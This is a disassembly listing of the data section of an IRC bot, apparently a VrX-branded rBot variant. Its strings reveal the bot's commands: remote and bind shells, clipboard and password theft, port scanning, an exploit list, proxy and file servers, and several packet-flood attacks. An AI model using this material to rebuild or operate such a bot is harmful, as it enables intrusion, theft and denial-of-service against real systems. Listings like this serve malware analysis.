dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
